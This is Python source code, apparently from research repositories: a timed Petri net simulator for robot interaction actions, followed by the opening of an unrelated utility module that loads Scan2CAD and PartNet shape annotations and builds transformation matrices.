outfiring = filter(lambda p: p[1]>0, outfiring)
all_fired = map(lambda p: p[0], outfiring)
return next_state, countdown, firing, status, timestep, enabled_names, enabled_after, interrupted, all_fired, in_conflict
def places(self):
return tuple(self._pls)
def transitions(self):
return tuple(self._trs)
def pl_idx(self, place):
return self._pls.index(place)
def tr_idx(self,place):
return self._trs.index(place)
def tr_time(self, name):
if type(self._tr_times[name])==int:
return self._tr_times[name]
else:
return self._tr_times[name]()
def set_tr_time(self, name, time):
if name in self._tr_times:
self._tr_times[name]=time
def advance_time(self,state, countdown, timestep):
def advance_time(c):
if c > 0:
return c-timestep
else:
return c
new_countdown = np.array(map(advance_time, countdown))
interrupted = []
enabled = [a.all() for a in (np.transpose(state)>=self._a_minus)]
for i in range(len(enabled)):
if enabled[i]:
if new_countdown[i,0]<=0:
new_countdown[i,0]=self.tr_time(self._trs[i])
else:
if new_countdown[i,0]>0:
interrupted.append((self._trs[i],new_countdown[i,0]))
new_countdown[i,0]=0
return new_countdown, interrupted
def get_tr_inputs(self,name):
if name==None:
return np.sum(self._a_minus, axis=1).tolist()
tr_idx = self._trs.index(name)
inputs = self._a_minus[tr_idx,:]
num = sum(inputs)
which = [self._pls[i] for i in range(len(inputs)) if inputs[i]>0]
return (num, which)
def get_tr_outputs(self,name=None):
if name==None:
return np.sum(self._a_plus, axis=1).tolist()
tr_idx = self._trs.index(name)
outputs = self._a_plus[tr_idx,:]
num = sum(outputs)
which = [self._pls[i] for i in range(len(outputs)) if outputs[i]>0]
return (num, which)
def get_pl_inputs(self, name = None):
if name==None:
return np.sum(self._a_plus, axis=0).tolist()
pl_idx = self._pls.index(name)
inputs = self._a_plus[:,pl_idx]
num = sum(inputs)
which = [self._trs[i] for i in range(len(inputs)) if inputs[i]>0]
return (num, which)
def get_pl_outputs(self, name=None):
if name==None:
return np.sum(self._a_minus, axis=0).tolist()
pl_idx = self._pls.index(name)
outputs = self._a_minus[:,pl_idx]
num = sum(outputs)
which = [self._trs[i] for i in range(len(outputs)) if outputs[i]>0]
return (num, which)
class PetriNet:
def __init__(self):
self._def = PetriNetDefinition()
self._countdown = np.array([], dtype=np.int)
self._state = np.array([], dtype=np.int)
self._time = None
self._stopped = None
self._in_conflict = []
self._history = np.array([], dtype=np.int)
self._empty_idx = 0
self._graph = nx.DiGraph()
def add_transition(self, name, inputs=[], outputs=[], time=1, value=1):
self._def.add_transition(name, inputs, outputs, time, value)
self._graph.add_node("tr:"+name, label="tr:{}\n{}".format(time, name), shape="box")
countdown = np.zeros((1,1), dtype=np.int)
if len(self._def.transitions())==1: #this is first transition added
self._countdown = countdown
else:
self._countdown = np.append(self._countdown, countdown, axis = 0)
for iname in inputs:
self._graph.add_edge("pl:"+iname, "tr:"+name)
for oname in outputs:
self._graph.add_edge("tr:"+name,"pl:"+oname)
def add_place(self, name, inputs=[], outputs=[], tokens=0):
self._def.add_place(name, inputs, outputs)
state = np.zeros((1,1),dtype=np.int)
state[0,0]=tokens
if len(self._def._pls)==1:
self._state = state
else:
self._state = np.append(self._state, state, axis=0)
self._graph.add_node("pl:"+name, label = "pl:{}\n{}".format("", name))
for iname in inputs:
self._graph.add_edge("tr:"+iname, "pl:"+name)
for oname in outputs:
self._graph.add_edge("pl:"+name,"tr:"+oname)
def add_pl_arcs(self, name, inputs=[], outputs=[]):
self._def.add_pl_arcs(name, inputs, outputs)
for iname in inputs:
self._graph.add_edge("tr:"+iname, "pl:"+name)
for oname in outputs:
self._graph.add_edge("pl:"+name,"tr:"+oname)
def add_tr_arcs(self, name, inputs=[], outputs=[]):
self._def.add_tr_arcs(name, inputs, outputs)
for iname in inputs:
self._graph.add_edge("pl:"+iname, "tr:"+name)
for oname in outputs:
self._graph.add_edge("tr:"+name,"pl:"+oname)
def stopped(self):
return self._stopped
def initialize(self):
self._time = 0
self._stopped = False
self._history = np.zeros_like(self._countdown)
self._countdown, interrupted = self._def.advance_time(self._state,self._countdown, 0)
def get_tr_time(self, name):
return self._def.tr_time(name)
def set_tr_time(self, name, time):
if self._countdown[self._def._trs.index(name),0]>0:
rospy.logwarn("Changing time of active transition; change will not take effect until next firing")
self._def.set_tr_time(name,time)
def step(self, timestep=None):
results = self._def.evaluate(self._state, self._countdown, timestep, random_tiebreak=True)
self._state = results[0]
self._countdown = results[1]
firing = results[2]
if len(self._history)==0:
self._history=firing*1
else:
self._history+=firing*1
self._time += results[4]
return results[3:]
def get_history(self):
return dict(zip(self._def._trs, list(np.ndarray.flatten(self._history))))
def set_state(self, state): #state is dict of names & # tokens
new_state = np.zeros_like(self._state)
for place_name in self._def.places():
pl_idx = self._def.pls_idx(place_name)
new_state[pl_idx,0]=state[place_name]
token_str = "O"*new_state[pl_idx,0]
nx.set_node_attributes(self._graph, "label", {"pl:"+place: "pl:{}\n{}".format(token_str, place)})
self._state=new_state
self._countdown, interrupted = self._def.advance_time(self._state,self._countdown, 0)
return interrupted
def get_state(self):
return dict(zip(self.places(), [int(n) for n in np.ndarray.flatten(self._state).tolist()]))
def get_tr_inputs(self,name):
return self._def.get_tr_inputs(name)
def get_tr_outputs(self,name=None):
return self._def.get_tr_outputs(name)
def get_pl_inputs(self, name = None):
return self._def.get_pl_inputs(name)
def get_pl_outputs(self, name=None):
return self._def.get_pl_outputs(name)
def places(self):
return self._def.places()
def transitions(self):
return self._def.transitions()
def set_tokens(self, place, tokens):
pl_idx = self._def.pl_idx(place)
self._state[pl_idx,0]=tokens
token_str = "O"*self._state[pl_idx,0]
nx.set_node_attributes(self._graph, "label", {"pl:"+place: "pl:{}\n{}".format(token_str, place)})
self._countdown, interrupted = self._def.advance_time(self._state,self._countdown, 0)
return interrupted
def add_token(self, place):
pl_idx = self._def.pl_idx(place)
self._state[pl_idx,0]+=1
token_str = "O"*self._state[pl_idx,0]
nx.set_node_attributes(self._graph, "label", {"pl:"+place: "pl:{}\n{}".format(token_str, place)})
self._countdown, interrupted = self._def.advance_time(self._state,self._countdown, 0)
return interrupted
def history_repr(self):
s = ""
s += "\nHistory:"
for i in range(len(self._trs)):
if self._history[i,0]>0:
s+="\n {:>3} {}".format( self._history[i,0],self._trs[i])
return s
def get_nx_graph(self):
return self._graph
def __repr__(self):
s = "*"*30
'''s+="\nArcs:\n{}".format(self._a_plus-self._a_minus)
s+="\nState:"
for i in range(len(self._pls)):
s+="\n {:>3} {}".format(self._state[i,0],self._pls[i])
s+="\nCountdown:"
for i in range(len(self._trs)):
s+="\n {:>3} {}".format( self._countdown[i,0],self._trs[i])'''
s+="\nState:"
for i in range(len(self._def.places())):
if self._state[i,0]>0:
s+="\n {:>3} {}".format(self._state[i,0],self._def.places()[i])
s+="\nCountdown:"
for i in range(len(self._def.transitions())):
if self._countdown[i,0]>0:
s+="\n {:>3} {}".format( self._countdown[i,0],self._def.transitions()[i])
return s
class InteractionPetri:
RESTART = 0
GIVE_UP = 1
WAIT = 2
INTERRUPT = 3
def __init__(self, detectors, resource_pools): #detectors: list, resource_pools: dict w/ # items
for d in detectors:
if "+" in d:
raise ValueError("'+' character reserved; not allowed in petri net names")
for p in resource_pools:
if "+" in p:
raise ValueError("'+' character reserved; not allowed in petri net names")
self._n = PetriNet()
self._detectors = dict([(d,{"ok":0,"nok":0}) for d in detectors])
self._detector_on = {}
for d in detectors:
self._detector_on[d]=False
self._n.add_place("?ok+"+d)
self._n.add_place("?nok+"+d)
self._pools = resource_pools.keys()
for p in resource_pools:
self._n.add_place("pool+"+p, tokens = resource_pools[p])
self._n.add_place("pool_intreq+"+p)
self._n.add_place("pool_cancelint+"+p)
self._n.add_transition("pool_handle_int+"+p, inputs=["pool_intreq+"+p])
self._n.add_transition("pool_handle_cancel+"+p, inputs=["pool_cancelint+"+p])
self._groups = {}
self._actions = []
def get_state_no_det(self):
return [num for f,num in self._n.get_state().items() if f[0:4]=="?nok+" or f[0:3]=="?ok+"]
def get_detectors(self):
return copy.deepcopy(self._detectors.keys())
def get_detector_states(self):
return copy.deepcopy(self._detector_on)
def start(self):
self._n.initialize()
def flip_detector(self,detector):
if self._detector_on[detector]:
self.detector_off(detector)
else:
self.detector_on(detector)
def detectors_off(self):
for d in self._detectors.keys():
self.detector_off(d)
def detector_on(self,detector):
self._n.set_tokens("?nok+"+detector, 0)
self._n.set_tokens("?ok+"+detector, self._detectors[detector]["ok"])
self._detector_on[detector]=True
def detector_off(self,detector):
self._n.set_tokens("?nok+"+detector, self._detectors[detector]["nok"])
self._n.set_tokens("?ok+"+detector, 0)
self._detector_on[detector]=False
def add_result(self, action, result_action):
self._n.add_tr_arcs(action, outputs=[result_action+"+intent"])
def add_emptier(self, transition, place):
name = place+transition+"+empty"
i=1
while name in self._n.places():
name = place+transition+"+empty"+str(i)
i+=1
self._n.add_place(place+transition+"+empty"+str(i), inputs=[transition])
self._n.add_transition(place+transition+"+emptier"+str(i),inputs=[place+transition+"+empty"+str(i), place], value=2)
self._n.add_transition(place+transition+"+cancel_empty"+str(i), inputs=[place+transition+"+empty"+str(i)])
def add_limiter(self, place):
self._n.add_transition(place+"+limiter", inputs=[place,place],outputs=[place], value=0)
def add_action_monitor(self, action, group_name, thread_idx, action_idx):
name = "{}+{}+thr{}+act{}".format(group_name, action, thread_idx,action_idx)
in_name = name+"+monitor_begin"
out_fail_name = name+"+handle_failure"
out_ok_name = name+"+handle_ok"
self._n.add_place(in_name)
self._n.add_place(name+"+fail")
self._n.add_place(name+"+ok")
self._n.add_place(name+"+waiting")
self._n.add_transition(name+"+start", inputs=[in_name], outputs=[action+"+intent", name+"+waiting"])
self._n.add_tr_arcs(action+"+handle_failure", outputs=[name+"+fail"])
self._n.add_tr_arcs(action, outputs=[name+"+ok"])
self._n.add_transition(out_ok_name, inputs=[name+"+ok", name+"+waiting"])
self._n.add_transition(out_fail_name, inputs=[name+"+fail", name+"+waiting"])
self.add_emptier(name+"+start", name+"+ok")
self.add_emptier(name+"+start", name+"+fail")
self.add_limiter(name+"+ok")
self.add_limiter(name+"+fail")
return in_name, out_ok_name, out_fail_name
def change_action_group_thread_times(self, name, new_times):
for i in range(len(new_times)):
time = new_times[i]
self._n.set_tr_time("{}+thr{}_start".format(name, i), time)
def add_action_group(self,name,actions, repeat=False, stop_on_interrupt=True):
if name in self._actions or name in self._groups.keys():
raise ValueError("Action {} already exists in network!".format(name))
self._actions.append(name)
self._groups[name]=actions
self._n.add_place(name+"+intent")
self._n.add_transition(name+"+start", inputs=[name+"+intent"])
self._n.add_transition(name)
self._n.add_place(name+"+all_done")
#TODO: right now these two are unused
self._n.add_place(name+"+failed")
self._n.add_transition(name+"+handle_failure", inputs=[name+"+failed"])
last_trans = []
for i in range(len(actions)):
time = actions[i][0]
self._n.add_place("{}+thr{}_intent".format(name, i), inputs=[name+"+start"])
self._n.add_transition("{}+thr{}_start".format(name, i), inputs=["{}+thr{}_intent".format(name, i)], time=time)
last_ok = "{}+thr{}_start".format(name, i)
last_fail = None
for j in range(len(actions[i][1])):
action = actions[i][1][j]
in_name, out_ok, out_fail = self.add_action_monitor(action, name, i, j)
self._n.add_tr_arcs(last_ok, outputs=[in_name])
if (not stop_on_interrupt) and last_fail!=None:
self._n.add_tr_arcs(last_fail, outputs=[in_name])
elif repeat and last_fail!=None:
self._n.add_tr_arcs(last_fail, outputs=[name+"+intent"])
last_ok = out_ok
last_fail = out_fail
last_trans.append(last_ok)
if not stop_on_interrupt:
last_trans.append(last_fail)
for tr in last_trans:
self._n.add_tr_arcs(tr, outputs=[name+"+all_done"])
for i in range(len(actions)):
self._n.add_tr_arcs(name, inputs = [name+"+all_done"])
if repeat:
self._n.add_tr_arcs(name, outputs=[name+"+intent"])
def add_alternative_group(self, name, actions, repeat_on_fail = False):
if name in self._actions or name in self._groups.keys():
raise ValueError("Action {} already exists in network!".format(name))
if "+" in name:
raise ValueError("'+' character reserved; not allowed in petri net names")
if len(actions)<2:
raise ValueError("Must provide at least one alternative action!")
self._actions.append(name)
self._n.add_place(name+"+intent")
self._n.add_transition(name+"+start", inputs=[name+"+intent"])
self._n.add_place(name+"+done")
self._n.add_transition(name, inputs=[name+"+done"])
self._n.add_place(name+"+failed")
self._n.add_transition(name+"+handle_failure", inputs=[name+"+failed"])
last_fail = "{}+start".format(name)
last_ok = None
for i in range(len(actions)):
action = actions[i]
in_name, out_ok, out_fail = self.add_action_monitor(action, name, 0, i)
self._n.add_tr_arcs(last_fail, outputs=[in_name])
self._n.add_tr_arcs(out_ok, outputs=[name+"+done"])
self.add_emptier(last_fail, name+"+done")
self.add_emptier(last_fail, name+"+failed")
last_ok = out_ok
last_fail = out_fail
if repeat_on_fail:
self._n.add_tr_arcs(last_fail, outputs = [name+"+intent"])
else:
self._n.add_tr_arcs(last_fail, outputs = [name+"+failed"])
self.add_limiter(name+"+done")
self.add_limiter(name+"+failed")
def do_action(self, name):
if name not in self._groups.keys() and name not in self._actions:
raise ValueError("Action {} does not exist".format(name))
self._n.add_token(name+"+intent")
def add_action(self, name, time, resources, detectors, resource_timeouts=None, detector_timeouts=None,
interrupt_delay=1, interrupt_window=0, interrupt_others=2, interrupt_handler=1, resource_dests={}):
if name in self._actions or name in self._groups.keys():
raise ValueError("Action {} already exists in network!".format(name))
if "+" in name:
raise ValueError("'+' character reserved; not allowed in petri net names")
self._actions.append(name)
self._n.add_place(name+"+intent")
self._n.add_transition(name, time = time)
if len(resources+detectors)==0:
self._n.add_tr_arcs(name, inputs=[name+"+intent"])
else:
self._n.add_transition(name+"+start", inputs=[name+"+intent"])
self._n.add_place(name+"+failed")
self._n.add_transition(name+"+handle_failure", inputs=[name+"+failed"])
for r in resources+detectors:
pref = name+"+"+r
self._n.add_place(pref+"+get", inputs=[name+"+start"])
self._n.add_transition(pref+"+got", inputs=[pref+"+get"])
self._n.add_place(pref+"+ok", inputs=[pref+"+got"])
self._n.add_place(pref+"+intern_int")
self._n.add_transition(pref+"+cleanup", inputs=[pref+"+intern_int",pref+"+ok"])
self._n.add_tr_arcs(name, inputs=[pref+"+ok"])
self._n.add_transition(pref+"+interrupt",
inputs=[pref+"+ok"],
time=interrupt_delay,
value=0)
for i in range(len(resources)):
r = resources[i]
pref = name+"+"+r
if resource_timeouts and resource_timeouts[i]!=0:
self._n.add_transition(pref+"+timeout", time = resource_timeouts[i],
inputs=[pref+"+get"],
outputs=[name+"+failed"], value=0)
if interrupt_others==self.INTERRUPT:
self._n.add_tr_arcs(name+"+start", outputs=["pool_intreq+"+r])
self._n.add_tr_arcs(pref+"+got", outputs=["pool_cancelint+"+r])
self._n.add_tr_arcs(pref+"+got", inputs=["pool+"+r])
self._n.add_tr_arcs(pref+"+cleanup", outputs=["pool+"+r])
self._n.add_place(pref+"+extern_int", inputs=["pool_handle_int+"+r])
self._n.add_place(pref+"+cancel_ext_int", inputs=["pool_handle_cancel+"+r])
self._n.add_transition(pref+"+handle_cancel_int",
inputs=[pref+"+extern_int",pref+"+cancel_ext_int"])
self._n.add_tr_arcs(pref+"+interrupt",
inputs=[pref+"+extern_int"],
outputs=["pool+"+r])
for i in range(len(detectors)):
d = detectors[i]
pref = name+"+"+d
if detector_timeouts and detector_timeouts[i]!=0:
self._n.add_transition(pref+"+timeout", time=detector_timeouts[i],
inputs=[pref+"+get"],
outputs=[name+"+failed"], value=0)
self._detectors[d]["ok"]+=1
self._detectors[d]["nok"]+=1
self._n.add_tr_arcs(pref+"+got", inputs=["?ok+"+d], outputs=["?ok+"+d])
self._n.add_tr_arcs(pref+"+interrupt",
inputs=["?nok+"+d],
outputs=["?nok+"+d])
for r in resource_dests:
self._n.add_tr_arcs(name, outputs=["pool+"+resource_dests[r]])
for i in range(len(resources)):
r = resources[i]
if r not in resource_dests:
self._n.add_tr_arcs(name, outputs=["pool+"+r])
if resource_timeouts and resource_timeouts[i]!=0:
self._n.add_tr_arcs(name+"+"+r+"+timeout",
outputs=[name+"+"+r2+"+intern_int"
for r2 in resources+detectors if r!=r2])
for i in range(len(detectors)):
r = detectors[i]
if detector_timeouts and detector_timeouts[i]!=0:
self._n.add_tr_arcs(name+"+"+r+"+timeout",
outputs=[name+"+"+r2+"+intern_int"
for r2 in resources+detectors if r!=r2])
if interrupt_window > 0:
resource_trs = ["{}+{}+got".format(name, d) for d in resources+detectors]
self._n.add_place(name+"+interrupt_ready")
self._n.add_pl_arcs(name+"+interrupt_ready", inputs=resource_trs)
self._n.add_place(name+"+interruptible")
self._n.add_transition(name+"+start_interrupt_window",
inputs=[name+"+interrupt_ready"]*len(resources+detectors),
outputs=[name+"+interruptible"])
self._n.add_transition(name+"+end_interrupt_window",
inputs = [name+"+interruptible"],
time=interrupt_window)
for r in resources+detectors:
if interrupt_window > 0:
self._n.add_tr_arcs("{}+{}+interrupt".format(name,r),
inputs=["{}+interruptible".format(name)])
if interrupt_handler==self.RESTART or interrupt_handler==self.GIVE_UP:
self._n.add_tr_arcs(name+"+"+r+"+interrupt",
outputs=[name+"+"+r2+"+intern_int"
for r2 in resources+detectors if r!=r2])
if interrupt_handler==self.GIVE_UP:
self._n.add_tr_arcs(name+"+"+r+"+interrupt",
outputs=[name+"+failed"])
if interrupt_handler==self.RESTART:
self._n.add_tr_arcs(name+"+"+r+"+interrupt",
outputs=[name+"+intent"])
if interrupt_handler==self.WAIT:
self._n.add_tr_arcs(name+"+"+r+"+interrupt",
outputs=[name+"+"+r+"+get"])
for r in resources+detectors:
pref = name+"+"+r
self.add_limiter(pref+"+intern_int")
self.add_emptier(name+"+start",pref+"+intern_int")
if r in resources:
self.add_limiter(pref+"+extern_int")
self.add_limiter(pref+"+cancel_ext_int")
self.add_emptier(pref+"+got", pref+"+extern_int")
self.add_emptier(pref+"+interrupt", pref+"+cancel_ext_int")
self.add_emptier("pool_handle_int+"+r, pref+"+cancel_ext_int")
def step(self,timestep=None):
return self._n.step(timestep)
def get_pool_state(self):
return dict([(f[5:],num) for f,num in self._n.get_state().items() if f in map(lambda s: "pool+"+s, self._pools)])
def get_started_state(self):
return dict([(f,num) for f,num in self._n.get_state().items() if "+ok" in f])
def get_nz_intent_state(self):
return dict([(f,num) for f,num in self._n.get_state().items() if "+intent" in f and num > 0])
def get_nz_started_state(self):
return dict([(f,num) for f,num in self._n.get_state().items() if "+ok" in f and num > 0])
def run_to_end(self, maxsteps=100):
i = 0
while i<maxsteps and not self._n.stopped():
res = self._n.step()
i+=1
def __repr__(self):
s = "="*30
s += "\nPools:"
for pool, ntokens in self.get_pool_state().items():
s+="\n {:>3} {}".format(ntokens,pool)
s += "\nActive Actions:"
for countdown, a in self.get_active_actions():
s+="\n {:>3} {}".format(countdown,a)
s += "\nWaiting Actions:"
for countdown, a, r in self.get_waiting_actions():
s+="\n {:>3} {} ({})".format(countdown,a,r)
#return s+"\n"+self._n.__repr__()
return s
def get_waiting_actions(self):
ret = []
for a in self._actions:
for r in self._pools+self._detectors.keys():
if "{}_{}+timeout".format(a,r) in self._n.transitions():
countdown = self._n._countdown[self._n.transitions().index("{}_{}+timeout".format(a,r)),0]
if countdown > 0:
ret.append((countdown, a, r))
return ret
def get_active_actions(self):
ret = []
for a in self._actions:
countdown = self._n._countdown[self._n.transitions().index(a),0]
if countdown > 0:
ret.append((countdown,a))
return ret
def get_history(self):
return copy.deepcopy(self._n._history)
def stopped(self):
return self._n.stopped()
def get_state(self):
return copy.deepcopy(np.ndarray.flatten(self._n._state).tolist())
def get_countdown(self):
return copy.deepcopy(np.ndarray.flatten(self._n._countdown).tolist())
def get_places(self):
return copy.deepcopy(self._n.places())
def get_trs(self):
return copy.deepcopy(self._n.transitions())
def get_count_repr(self):
s = ""
s += "\nCountdown:"
trs = self.get_trs()
for i in range(len(trs)):
if self._n._countdown[i,0]>0:
s+="\n {:>3} {}".format(self._n._countdown[i,0],trs[i])
return s
def get_history_repr(self):
return self._n.history_repr()
def get_state_repr(self):
s = ""
s += "\nState:"
places = self.get_places()
for i in range(len(places)):
if self._n._state[i,0]>0:
s+="\n {:>3} {}".format(self._n._state[i,0],places[i])
return s
def get_time(self):
return copy.deepcopy(self._n._time)
class PetriSimNode2:
def __init__(self):
pass
def get_branches(self):
pass
def best_case_branch(self):
pass
def get_next(self, petri, step1=False):
pass
def get_time(self):
pass
def get_state(self):
pass
def get_count(self):
pass
def get_tokens(self, capped=False, include_detectors=True):
pass
def capped_eq(self,other):
pass
def no_detector_eq(self,other):
pass
def capped_hash(self, other):
pass
def __eq__(self, other):
if not isinstance(other, self.__class__):
return NotImplemented
if self.get_state()==other.get_state():
return True
return False
def __neq__(self, other):
if not isinstance(other, self.__class__):
return NotImplemented
return not self.__eq__(other)
def __hash__(self):
pass
def get_active(self):
pass
def last_changes(self):
pass
def __repr__(self):
pass
def history(self):
pass
class PetriSimNode:
def __init__(self, state, countdown, petri_definition, detectors, action_idxs, times = [0]):
self._petri = petri_definition
self.last_status = None
self.times = times
self.state = state
self.countdown = countdown
self.detector_dict = detectors
self.detectors = detectors.values()
self.action_idxs = action_idxs
self.countdowns = [countdown]
self.det_idxs = set([])
for d in self.detectors:
for det_info in d.values():
self.det_idxs.add(det_info[0])
self.det_depend_place_idxs={}
for pl_idx in range(len(self._petri._pls)):
for name in self.detector_dict:
if name+"+get" in self._petri._pls[pl_idx] or name+"+ok" in self._petri._pls[pl_idx]:
self.det_depend_place_idxs[name]=pl_idx
def flip_detector(self, det_idx):
if self.state[self.detectors[det_idx]["ok"][0]]==0:
self.state[self.detectors[det_idx]["ok"][0]] = self.detectors[det_idx]["ok"][1]
self.state[self.detectors[det_idx]["nok"][0]] = 0
else:
self.state[self.detectors[det_idx]["nok"][0]] = self.detectors[det_idx]["nok"][1]
self.state[self.detectors[det_idx]["ok"][0]] = 0
def detector_off(self, det_idx):
self.state[self.detectors[det_idx]["nok"][0]] = self.detectors[det_idx]["nok"][1]
self.state[self.detectors[det_idx]["ok"][0]] = 0
def detector_on(self, det_idx):
self.state[self.detectors[det_idx]["nok"][0]] = 0
self.state[self.detectors[det_idx]["ok"][0]] = self.detectors[det_idx]["nok"][1]
def step(self):
self.last_status = self._petri.evaluate(self.state, self.countdown, 1)
self.state = self.last_status[0]
self.countdown = self.last_status[1]
self.countdowns[0]=self.countdown
def det_on_next(self):
next_steps = []
detectors = range(len(self.detectors))
#print "#"*40
n = PetriSimNode(copy.deepcopy(self.state), copy.deepcopy(self.countdown),
self._petri, self.detector_dict, self.action_idxs, copy.deepcopy(self.times))
for d in detectors:
n.detector_on(detectors[d])
n.step()
for d in detectors:
n.detector_off(d)
next_steps.append(n)
next_steps = list(set(next_steps))
def get_next(self):
if self.last_status!=None and (self.last_status[3]=="dead" or self.last_status[3]=="conflict"):
return []
for combos in itertools.product([True,False],repeat=len(detectors)):
for d in range(len(detectors)):
n = PetriSimNode(copy.deepcopy(self.state), copy.deepcopy(countdown),
self._petri, self.detector_dict, self.action_idxs, copy.deepcopy(self.times))
if combos[d]:
n.flip_detector(detectors[d])
state = n.get_state()
#print [s for s in state if s>0 ]
n.step()
state = n.get_state()
#print [s for s in state if s>0 ]
if state not in seen:
next_steps.append(n)
seen.add(state)
def get_next(self):
if self.last_status!=None and (self.last_status[3]=="dead" or self.last_status[3]=="conflict"):
return []
next_steps = []
detectors = range(len(self.detectors))
seen = set([])
#print "#"*40
#print self
#print "-"*40
for countdown in self.countdowns:
#print [i for i in np.ndarray.flatten(countdown).tolist() if i>0]
for combos in itertools.product([True,False],repeat=len(detectors)):
for d in range(len(detectors)):
n = PetriSimNode(copy.deepcopy(self.state), copy.deepcopy(countdown),
self._petri, self.detector_dict, self.action_idxs, copy.deepcopy(self.times))
if combos[d]:
n.flip_detector(detectors[d])
state = n.get_state()
#print [s for s in state if s>0 ]
n.step()
state = n.get_state()
#print [s for s in state if s>0 ]
if state not in seen:
next_steps.append(n)
seen.add(state)
#print "\n".join(map(lambda s:str(s), next_steps))
#print "#"*40
return next_steps
def key(self):
if self.last_status != None:
status = [self.last_status[3]]
else:
status = ["None"]
#return self.get_intervals() + tuple(status)
return self.get_state()#+tuple(status)
#return self.get_tokens_no_det()+tuple(status)
#return self.get_tokens_no_det()+self.get_count()
def get_intervals(self):
count = self.get_count()
nz = [i for i in count if i > 0]
if len(nz)>0:
min_nz = min(nz)
else:
min_nz = 0
intervals = tuple([n-min_nz if n-min_nz>=0 else -1 for n in count])
return intervals
def merge_with(self, other):
eq = True
for c in other.countdowns:
found = False
for d in self.countdowns:
if all(c==d):
found = True
if not found:
eq = False
self.countdowns.append(c)
return eq
def add_times(self, times):
self.times+=times
self.times=list(set(self.times))
def get_times(self):
return self.times
def get_state(self):
return self.get_tokens_no_det()+self.get_count()
def get_tokens(self):
return tuple(map(lambda l: int(l), np.ndarray.flatten(self.state).tolist()))
def get_tokens_no_det(self):
state = map(lambda l: int(l), np.ndarray.flatten(self.state).tolist())
state = [state[i] for i in range(len(state)) if i not in self.det_idxs]
return tuple(state)
def get_count(self):
return tuple(map(lambda l: int(l), np.ndarray.flatten(self.countdown).tolist()))
def get_active(self):
ret = []
for a in self.action_idxs:
countdown = self.countdown[a,0]
if countdown > 0:
ret.append((countdown,self._petri.transitions()[a]))
return ret
def last_changes(self):
active_actions = self.get_active()
action_intents = []#map(lambda s: s.split("+")[0], self._petri.get_nz_intent_state().keys())
if self.last_status!=None and self.last_status[3] =="interrupt":
interrupts = self.last_status[7]
interrupts = filter(lambda s: not "+" in s[0], interrupts)
interrupts = map(lambda s: s[0], interrupts)
elif self.last_status!=None and self.last_status[3]=="conflict":
interrupts = self.last_status[8]
else:
interrupts = []
return active_actions,action_intents,interrupts
def __repr__(self):
active, intents, interrupts = self.last_changes()
if self.last_status != None:
s = self.last_status[3]+"\n"
else:
s = ""
for time, action in active:
#s+="{}:{} ".format(action,time)
s+="*{}* ".format(action)
for action in intents:
s+="{}:{} ".format(action.split("+")[0],"st")
s+="\n"
for action in interrupts:
#s+="{}:{} ".format(action.split("+")[0],"int")
if self.last_status[3]=="interrupt":
s+="{}:{} ".format(action,"int")
elif self.last_status[3]=="conflict":
s+="{}:({}) ".format(action[0], "|".join(action[1]))
#s+="{}".format(self._petri)
#for detector, state in self._petri.get_detector_states().items():
# s+="{}:{} ".format(detector, state)
#return "<{}({}) t={}>".format(s,id(self),self.get_time())
#return "<{}({})>".format(s,self.__hash__())
tokens = self.get_tokens()
s = "{}\nst:{}\nct:{}\n{}".format(s,"/".join(["{},{}".format(i,tokens[i]) for i in range(len(tokens)) if tokens[i] > 0]),",".join([str(s) for s in self.get_count() if s >0]), hash(self))
s+="\n"
for c in self.countdowns:
s+=".".join([str(i) for i in np.ndarray.flatten(c).tolist() if i>0])
s+="\n"
return s
#tokens = self.get_tokens()
#return "{}\nst:{}\nct:{}\nt={}\n{}".format(s,"/".join(["{},{}".format(i,tokens[i]) for i in range(len(tokens)) if tokens[i] > 0]),",".join([str(s) for s in self.get_count() if s >0]),",".join(map(lambda s: str(s), self.get_times())), hash(self))
if len(s)>0:
outstr = "{}\nt={}".format(s, self.get_time())
else:
outstr = "<wait>\nt={}".format(self.get_time())
return outstr
#return "<{}@ t={}>".format(self.__hash__(),self.get_time())
#return "<{}@ t={}>".format(s,self.get_time())
#return "Time: {}".format(self._time)+self._petri.get_state_repr()+self._petri.get_count_repr()
def history(self):
return np.ndarray.flatten(self._petri._n._history[self._petri._n._history>0]).tolist()
|
import json
import torch
import quaternion
import numpy as np
import pandas as pd
import torch.nn as nn
# from shapefit.utils.pathnames import ContainerPathnames as paths
from shapefit.utils.pathnames import LocalPathnames as paths
########################
### Global DICTIONARIES
########################
def get_validation_appearance(set='2k'):
if set == 'all':
path = paths.APPEARANCES_ALL
elif set == '2k':
path = paths.APPEARANCES_2K
elif set == '50':
path = paths.APPEARANCES_50
with open(path, 'r') as f:
return json.load(f)
def get_scenes_in_scan2cad():
'''
Calculate scenes ID from scan2CAD annotations
'''
path = paths.SHAPENET_OBJ_IN_SCANNET_SCANS_PATH
with open(path, 'r') as f:
return list(json.load(f).keys())
def get_shapes_in_scan2cad():
'''
# Calculate shapes ID from scan2CAD annotations
'''
path = paths.SHAPENET_OBJ_IN_SCANNET_SCANS_PATH
with open(path) as f:
j = json.load(f)
arr = []
for x in j.values():
arr.extend(list(x.keys()))
return [s.split('_') for s in set(arr)]
def get_shapes_in_scan2cad_parts():
'''
partnet info
'''
path = paths.SHAPES_IN_SCAN2CAD_PARTS
with open(path) as f:
file = json.load(f)
shapes = np.array(get_shapes_in_scan2cad())
r = np.in1d(shapes[:, 1], list(file.keys()))
result = shapes[r]
result = np.array([[x[0], x[1], file[x[1]]] for x in result])
return result
def shape_full_info(partnet_id, shapenet_id):
d = get_shapes_in_scan2cad_parts()
if partnet_id:
category_id, shapenet_id = d[d[:, -1] == partnet_id][0, :2]
elif shapenet_id:
category_id, partnet_id = d[d[:, 1] == shapenet_id][0, [0, 2]]
else:
raise Exception('neither partnet_id nor shapenet_id are specified')
return category_id, shapenet_id, partnet_id
def get_part_ids():
'''
PARTS INFO
'''
path = paths.PART_ID_TO_PARTS_DESCRIPTION
df = pd.read_csv(path, index_col=0, dtype=str)
df['part_id'] = df.part_id.astype(int)
df['set_id'] = df.set_id.astype(int)
return df
###########################
### Matrix transformations
###########################
def rts_to_matrix(rts):
'''
Make matrix from rotation,translation,scale (9 DoF in total)
'''
n = len(rts)
T_m = torch.eye(4, dtype=torch.double).reshape(1, 4, 4).repeat(n, 1, 1)
T_m[:, :3, -1] = rts[:, 3:6]
R_m = angle_axis_to_rotation_matrix(rts[:, :3])
S_m = torch.eye(4, dtype=torch.double).reshape(1, 4, 4).repeat(n, 1, 1)
S_m[:, :3, :3] = torch.diag_embed(rts[:, 6:])
return T_m.bmm(R_m).bmm(S_m)
def make_M_from_tqs(t, q, s):
'''
Make matrix from quaternion (10 DoF in total)
'''
T = np.eye(4)
